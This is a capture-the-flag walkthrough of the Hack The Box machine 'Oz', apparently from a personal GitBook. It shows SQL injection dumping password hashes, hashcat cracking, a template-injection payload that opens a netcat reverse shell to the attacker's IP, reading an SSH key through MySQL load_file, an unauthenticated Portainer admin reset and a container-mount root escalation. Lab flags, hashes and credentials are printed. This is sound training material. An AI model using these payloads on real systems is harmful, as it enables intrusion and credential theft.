HTB WriteUps
  • â„šī¸Main Page
  • 👨‍đŸ’ģwhoami
  • Linux Machines
    • Lame
    • Shocker
    • Beep
    • Jarvis
    • Europa
    • Knife
    • Irked
    • Postman
    • Mango
    • Cap
    • Writer
    • Bashed
    • Nibbles
    • Valentine
    • SwagShop
    • Tabby
    • SolidState
    • Doctor
    • OpenAdmin
    • Haircut
    • Blocky
    • Time
    • Passage
    • Mirai
    • Popcorn
    • Magic
    • Delivery
    • Blunder
    • BountyHounter
    • Cronos
    • TartarSauce
    • Ophiuchi
    • Seal
    • Ready
    • Admirer
    • Traverxec
    • Nineveh
    • FriendZone
    • Frolic
    • SneakyMailer
    • Brainfuck
    • Jewel
    • Node
    • Networked
    • Joker
    • RedCross
    • Static
    • Zetta
    • Kotarak
    • Falafel
    • DevOops
    • Hawk
    • Lightweight
    • LaCasaDePapel
    • Jail
    • Safe
    • Bitlab
    • October
    • Book
    • Quick
    • Sink
    • Pit
    • Monitors
    • Unobtainium
    • Inception
    • Compromised
    • CrimeStoppers
    • OneTwoSeven
    • Oz
    • Ellingson
    • Holiday
    • FluJab
    • Spider
    • CTF
  • Windows Machines
    • Jerry
    • Love
    • Arctic
    • Forest
    • Fuse
    • Bastard
    • Silo
    • Devel
    • Remote
    • ServMon
    • Blue
    • Grandpa
    • Legacy
    • SecNotes
    • Omni
    • Active
    • Granny
    • Optimum
    • Worker
    • Bastion
    • Bounty
    • Buff
    • Breadcrums
    • Reel
    • Reel2
    • Conceal
    • Bankrobber
    • Jeeves
    • Bart
    • Tally
    • Netmon
    • Sizzle
    • Sniper
    • Control
    • Nest
    • Sauna
    • Cascade
    • Querier
    • Blackfield
    • APT
    • Atom
  • OTHER OS MACHINES
    • Sense
    • Luanne
    • Poison
    • Schooled
Powered by GitBook
On this page
  • Enumeration
  • Exploitation
  • Privilege Escalation

Was this helpful?

  1. Linux Machines

Oz

Last updated 2 years ago

Was this helpful?

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.96 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

# Nmap 7.93 scan initiated Wed May 10 13:10:25 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.96
Nmap scan report for 10.10.10.96
Host is up (0.068s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
8080/tcp open  http-proxy

# Nmap done at Wed May 10 13:10:51 2023 -- 1 IP address (1 host up) scanned in 26.58 seconds

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p80,60080 10.10.10.96 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

# Nmap 7.93 scan initiated Wed May 10 13:11:13 2023 as: nmap -sCV -p80,8080 -Pn -n -oN targeted 10.10.10.96
Nmap scan report for 10.10.10.96
Host is up (0.037s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Werkzeug httpd 0.14.1 (Python 2.7.14)
|_http-server-header: Werkzeug/0.14.1 Python/2.7.14
|_http-title: OZ webapi
8080/tcp open  http    Werkzeug httpd 0.14.1 (Python 2.7.14)
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: GBR Support - Login
|_Requested resource was http://10.10.10.96:8080/login
|_http-server-header: Werkzeug/0.14.1 Python/2.7.14
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May 10 13:11:25 2023 -- 1 IP address (1 host up) scanned in 11.87 seconds

There is an API on port 80.

curl http://10.10.10.96/

<title>OZ webapi</title>
<h3>Please register a username!</h3>

With wfuzz, we could see that there is a directory called users.

wfuzz -c --hw=1,4 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.96/FUZZ

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.96/FUZZ
Total requests: 220546

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                               
=====================================================================

000000188:   200        3 L      6 W        79 Ch       "users"
...

Inside the users directory, we'll see the admin directory available. We'll also see that the ' character gives a 500 response.

wfuzz -c --hh=5 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.96/users/FUZZ

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.96/users/FUZZ
Total requests: 220546

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                               
=====================================================================

000000245:   200        1 L      1 W        21 Ch       "admin"                                                               
000002010:   500        4 L      40 W       291 Ch      "'"

The /admin directory shows the username admin.

curl -s "http://10.10.10.96/users/admin" | jq

{
  "username": "admin"
}

The ' character breaks the server.

curl "http://10.10.10.96/users/'"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request.  Either the server is overloaded or there is an error in the application.</p>

Exploitation

With a simple SQL injection payload, we are able to get another user.

curl -s "http://10.10.10.96/users/'%20or%201=1--%20-"

{"username":"dorthi"}

Let's enumerate the database. First, get the name of the database.

curl -s "http://10.10.10.96/users/'%20union%20select%20database()--%20-" | jq '.username'

"ozdb"

Now, check which are its tables.

curl -s "http://10.10.10.96/users/'%20union%20select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='ozdb'--%20-" | jq '.username'

"tickets_gbw,users_gbw"

Let's get the columns of the users_gbw table.

curl -s "http://10.10.10.96/users/'%20union%20select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema='ozdb'%20and%20table_name='users_gbw'--%20-" | jq '.username'

"id,username,password"

Finally, dump the entire users_gbw table.

for i in $(seq 1 10); do curl -s "http://10.10.10.96/users/'%20union%20select%20concat(username,':',password)%20from%20ozdb.users_gbw%20limit%20$i,1--%20-" | jq '.username' | tr -d '"'; done

tin.man:$pbkdf2-sha256$5000$GgNACCFkDOE8B4AwZgzBuA$IXewCMHWhf7ktju5Sw.W.ZWMyHYAJ5mpvWialENXofk
wizard.oz:$pbkdf2-sha256$5000$BCDkXKuVMgaAEMJ4z5mzdg$GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY
coward.lyon:$pbkdf2-sha256$5000$bU2JsVYqpbT2PqcUQmjN.Q$hO7DfQLTL6Nq2MeKei39Jn0ddmqly3uBxO/tbBuw4DY
toto:$pbkdf2-sha256$5000$Zax17l1Lac25V6oVwnjPWQ$oTYQQVsuSz9kmFggpAWB0yrKsMdPjvfob9NfBq4Wtkg
admin:$pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ
null
null
null
null
null

Let's try to break these hashes. Put them into the hashes file. If we try to break it with john, we'll see that it identifies the hashes as PBKDF2-HMAC-SHA256. But it is very slow.

john -w=/usr/share/wordlists/rockyou.txt hashes

Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (PBKDF2-HMAC-SHA256 [PBKDF2-SHA256 128/128 SSE2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:01 0.01% (ETA: 23:24:54) 0g/s 834.7p/s 5078c/s 5078C/s clover..athena
...

Let's use hashcat instead. First, we need to know the hash mode, and the format of the hash.

hashcat --example-hashes | grep ': PBKDF2-HMAC-SHA256' -C 10

...
Hash mode #10900
  Name................: PBKDF2-HMAC-SHA256
  Category............: Generic KDF
  Slow.Hash...........: Yes
  Password.Len.Min....: 0
  Password.Len.Max....: 256
  Salt.Type...........: Embedded
  Salt.Len.Min........: 0
  Salt.Len.Max........: 256
  Kernel.Type(s)......: pure
  Example.Hash.Format.: plain
  Example.Hash........: sha256:1000:NjI3MDM3:vVfavLQL9ZWjg8BUMq6/FB8FtpkIGWYk

As the format of the has is different, we need to tweak the hashes that we have to make it work.

cat hashes | sed 's/pbkdf2-//g' | tr "$" ":" | sed 's/::/:/' | sponge

Finally, break the hashes with hashcat.

hashcat -m 10900 -a 0 hashes /usr/share/wordlists/rockyou.txt --user

hashcat (v6.2.6) starting
...
sha256:5000:BCDkXKuVMgaAEMJ4z5mzdg:GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY:wizardofoz22
...

This looks like the password of wizard.oz.The website on port 8080 shows a login page. Let's use the credentials we got.

Inside, we'll see twelve tickets.

The eighth ticket says that there might be SSH keys in /home/dorthi/.

From the + button, we could add a new ticket. Try to add a new ticket, intercept the request with BurpSuite, and send it to the repeater.

Our input appears in the response. We could try to inject SSTI payloads, such as python code.

Time to get a shell. First, let's set a netcat listener on port 4444.

rlwrap nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Using the following payload, we'll get access as root to a machine called tix-app, which looks like a container.

{{ self.init.globals.builtins.import('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>%261|nc 10.10.14.6 4444 >/tmp/f').read() }}

Listening on 0.0.0.0 4444
Connection received on 10.10.10.96 45436
/bin/sh: can't access tty; job control turned off
/app # whoami
root
/app # hostname
tix-app
/app # hostname -i
10.100.10.2

Privilege Escalation

In the root directory, there is one folder called .secret, and another one called containers.

ls -la /

total 72
drwxr-xr-x   53 root     root          4096 Sep 22  2022 .
drwxr-xr-x   53 root     root          4096 Sep 22  2022 ..
-rwxr-xr-x    1 root     root             0 May 15  2018 .dockerenv
drwxr-xr-x    2 root     root          4096 Apr 24  2018 .secret
drwxr-xr-x    5 root     root          4096 Sep 22  2022 app
drwxr-xr-x    2 root     root          4096 Sep 22  2022 bin
drwxr-xr-x    3 root     root          4096 Sep 22  2022 containers
drwxr-xr-x    5 root     root           340 May 10 19:34 dev
drwxr-xr-x   26 root     root          4096 Sep 22  2022 etc
drwxr-xr-x    2 root     root          4096 Sep 22  2022 home
drwxr-xr-x    9 root     root          4096 Sep 22  2022 lib
lrwxrwxrwx    1 root     root            12 Jan  9  2018 linuxrc -> /bin/busybox
drwxr-xr-x    5 root     root          4096 Sep 22  2022 media
drwxr-xr-x    2 root     root          4096 Sep 22  2022 mnt
dr-xr-xr-x  166 root     root             0 May 10 19:34 proc
drwx------    3 root     root          4096 Sep 22  2022 root
drwxr-xr-x    2 root     root          4096 Sep 22  2022 run
drwxr-xr-x    2 root     root          4096 Sep 22  2022 sbin
drwxr-xr-x    2 root     root          4096 Sep 22  2022 srv
dr-xr-xr-x   13 root     root             0 May 10 19:34 sys
drwxrwxrwt    2 root     root          4096 May 11 08:03 tmp
drwxr-xr-x   24 root     root          4096 Sep 22  2022 usr
drwxr-xr-x   17 root     root          4096 Sep 22  2022 var

The .secret directory has a file called knockd.conf.

ls -la /.secret

[options]
        logfile = /var/log/knockd.log

[opencloseSSH]

        sequence        = 40809:udp,50212:udp,46969:udp
        seq_timeout     = 15
        start_command   = ufw allow from %IP% to any port 22
        cmd_timeout     = 10
        stop_command    = ufw delete allow from %IP% to any port 22
        tcpflags        = syn

This file configures port knocking on the system. This means that if ports 40809, 50212 and 46969 are hit, then port 22 will open. We can test it out.

for port in 40809 50212 46969; do echo "test" | nc -u -w 1 10.10.10.96 $port; done; nmap -p22 -n -Pn 10.10.10.96

Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-11 09:00 GMT
Nmap scan report for 10.10.10.96
Host is up (0.039s latency).

PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds

The containers directory has another folder inside called database.

ls -la /containers

total 12
drwxr-xr-x    3 root     root          4096 Sep 22  2022 .
drwxr-xr-x   53 root     root          4096 Sep 22  2022 ..
drwxr-xr-x    3 root     root          4096 May 25  2018 database

Inside, there is a bash script called start.sh.

ls -la /containers/database

total 28
drwxr-xr-x    3 root     root          4096 May 25  2018 .
drwxr-xr-x    3 root     root          4096 Sep 22  2022 ..
-rw-r--r--    1 root     root            96 Apr 23  2018 Dockerfile
-rw-r--r--    1 root     root          5292 Apr 23  2018 my.cnf
drwxr-xr-x    2 root     root          4096 Apr 25  2018 sshkeys
-rwxr--r--    1 root     root           418 May 25  2018 start.sh

Which contains credentials for a database hosted in 10.100.10.4.

cat /containers/database/start.sh

#!/bin/bash

docker run -d -v /connect/mysql:/var/lib/mysql --name ozdb \
--net prodnet --ip 10.100.10.4 \
-e MYSQL_ROOT_PASSWORD=SuP3rS3cr3tP@ss \
-e MYSQL_USER=dorthi \
-e MYSQL_PASSWORD=N0Pl4c3L1keH0me \
-e MYSQL_DATABASE=ozdb \
-v /connect/sshkeys:/home/dorthi/.ssh/:ro \
-v /dev/null:/root/.bash_history:ro \
-v /dev/null:/root/.ash_history:ro \
-v /dev/null:/root/.sh_history:ro \
--restart=always \
mariadb:5.5

Let's try to connect to the remote database.

mysql -h 10.100.10.4 -u root -pSuP3rS3cr3tP@ss -e "show databases"

Database
information_schema
mysql
ozdb
performance_schema

The credentials are valid. As the database is in a remote server, we could try to retrieve local files from that server. As we saw earlier, there is one user called dorthi, which might have some SSH keys.

mysql -h 10.100.10.4 -u root -pSuP3rS3cr3tP@ss -e "select load_file('/home/dorthi/.ssh/id_rsa')"

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,66B9F39F33BA0788CD27207BF8F2D0F6

RV903H6V6lhKxl8dhocaEtL4Uzkyj1fqyVj3eySqkAFkkXms2H+4lfb35UZb3WFC
b6P7zYZDAnRLQjJEc/sQVXuwEzfWMa7pYF9Kv6ijIZmSDOMAPjaCjnjnX5kJMK3F
...
QGpqEaGSUG+/TSdcANQdD3mv6EGYI+o4rZKEHJKUlCI+I48jHbvQCLWaR/bkjZJu
XtSuV0TJXto6abznSC1BFlACIqBmHdeaIXWqH+NlXOCGE8jQGM8s/fd/j5g1Adw3
-----END RSA PRIVATE KEY-----

Now that we have an SSH private key for dorthi, let's log into the machine. Enter the dorthi password we found in the bash script to decrypt the SSH key. Then, we'll be able to grab the user flag.

for port in 40809 50212 46969; do echo "test" | nc -u -w 1 10.10.10.96 $port; done; ssh dorthi@10.10.10.96 -i id_rsa

Enter passphrase for key 'id_rsa': N0Pl4c3L1keH0me
dorthi@oz:~$ whoami
dorthi
dorthi@oz:~$ hostname
oz
dorthi@oz:~$ cat user.txt 
18e88d03f2d172494abf06eed56d07fe

If we check the sudo privileges, we'll see that we can list and inspect docker networks.

sudo -l

Matching Defaults entries for dorthi on oz:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dorthi may run the following commands on oz:
    (ALL) NOPASSWD: /usr/bin/docker network inspect *
    (ALL) NOPASSWD: /usr/bin/docker network ls

There a are a few networks configured.

sudo docker network ls

NETWORK ID          NAME                DRIVER              SCOPE
3fc824b7c586        bridge              bridge              local
49c1b0c16723        host                host                local
3ccc2aa17acf        none                null                local
48148eb6a512        prodnet             bridge              local

The bridge network has one container with the IP address 172.17.0.2 hosting a portainer-1.11.1 server.

sudo docker network inspect bridge

[
    {
        "Name": "bridge",
        "Id": "3fc824b7c58643505df31dd50d4432209a1a23459b1c39c2e877ad4fdb653195",
        "Created": "2023-05-10T14:34:00.499850853-05:00",
        "Scope": "local",
        "Driver": "bridge",
        "EnableIPv6": false,
        "IPAM": {
            "Driver": "default",
            "Options": null,
            "Config": [
                {
                    "Subnet": "172.17.0.0/16",
                    "Gateway": "172.17.0.1"
                }
            ]
        },
        "Internal": false,
        "Attachable": false,
        "Containers": {
            "e267fc4f305575070b1166baf802877cb9d7c7c5d7711d14bfc2604993b77e14": {
                "Name": "portainer-1.11.1",
                "EndpointID": "9d66d01243d11dcc57b1dfe5d398b4f2cf75f5e8033017f7c42fd354e7502298",
                "MacAddress": "02:42:ac:11:00:02",
                "IPv4Address": "172.17.0.2/16",
                "IPv6Address": ""
            }
        },
        "Options": {
            "com.docker.network.bridge.default_bridge": "true",
            "com.docker.network.bridge.enable_icc": "true",
            "com.docker.network.bridge.enable_ip_masquerade": "true",
            "com.docker.network.bridge.host_binding_ipv4": "0.0.0.0",
            "com.docker.network.bridge.name": "docker0",
            "com.docker.network.driver.mtu": "1500"
        },
        "Labels": {}
    }
]

The server has nmap. Let's use it to scan the ports of the portainer server.

nmap -p- --min-rate 5000 -n -Pn 172.17.0.2

Starting Nmap 7.01 ( https://nmap.org ) at 2023-05-11 04:26 CDT
Nmap scan report for 172.17.0.2
Host is up (0.00011s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE
9000/tcp open  cslistener

Nmap done: 1 IP address (1 host up) scanned in 1.58 seconds

Now do port forwarding of that port.

for port in 40809 50212 46969; do echo "test" | nc -u -w 1 10.10.10.96 $port; done; ssh dorthi@10.10.10.96 -i id_rsa -L 9000:172.17.0.2:9000

The portainer server shows a login page.

curl -S -X POST 'http://localhost:9000/api/users/admin/init' -d '{"password": "alfa8sa"}' -H "Content-Type: application/json"

Now we are able to enter the server as admin.

There is a way to gain access to the main server as root. First, we need to check the image list.

I'll use the python:2.7-alpine image. Now, go to containers.

Create a new container called privEsc with the python:2.7-alpine image.

Select TTY as the console.

Then, create a volume that mounts the entire file system of the parent system to the /rootfs directory of the container.

Now, access the privEsc container, and start a console.

We have access to the container as root, but there is a directory called rootfs in /.

Give SUID permissions to the /bin/bash binary inside rootfs.

Finally, back in the SSH console, get a shell as root, and then all we have to do is reap the harvest and take the root flag.

bash -p

bash-4.3# whoami
root
bash-4.3# hostname
oz
bash-4.3# hostname -I
10.10.10.96 10.100.10.1 172.17.0.1 
bash-4.3# cat /root/root.txt 
ef7cd4b76b9d19d3bb6a6d7a0afe31f0

I found , which allow any unauthenticated user to change the admin password. We just need to make a POST request with the new password.

this vulnerability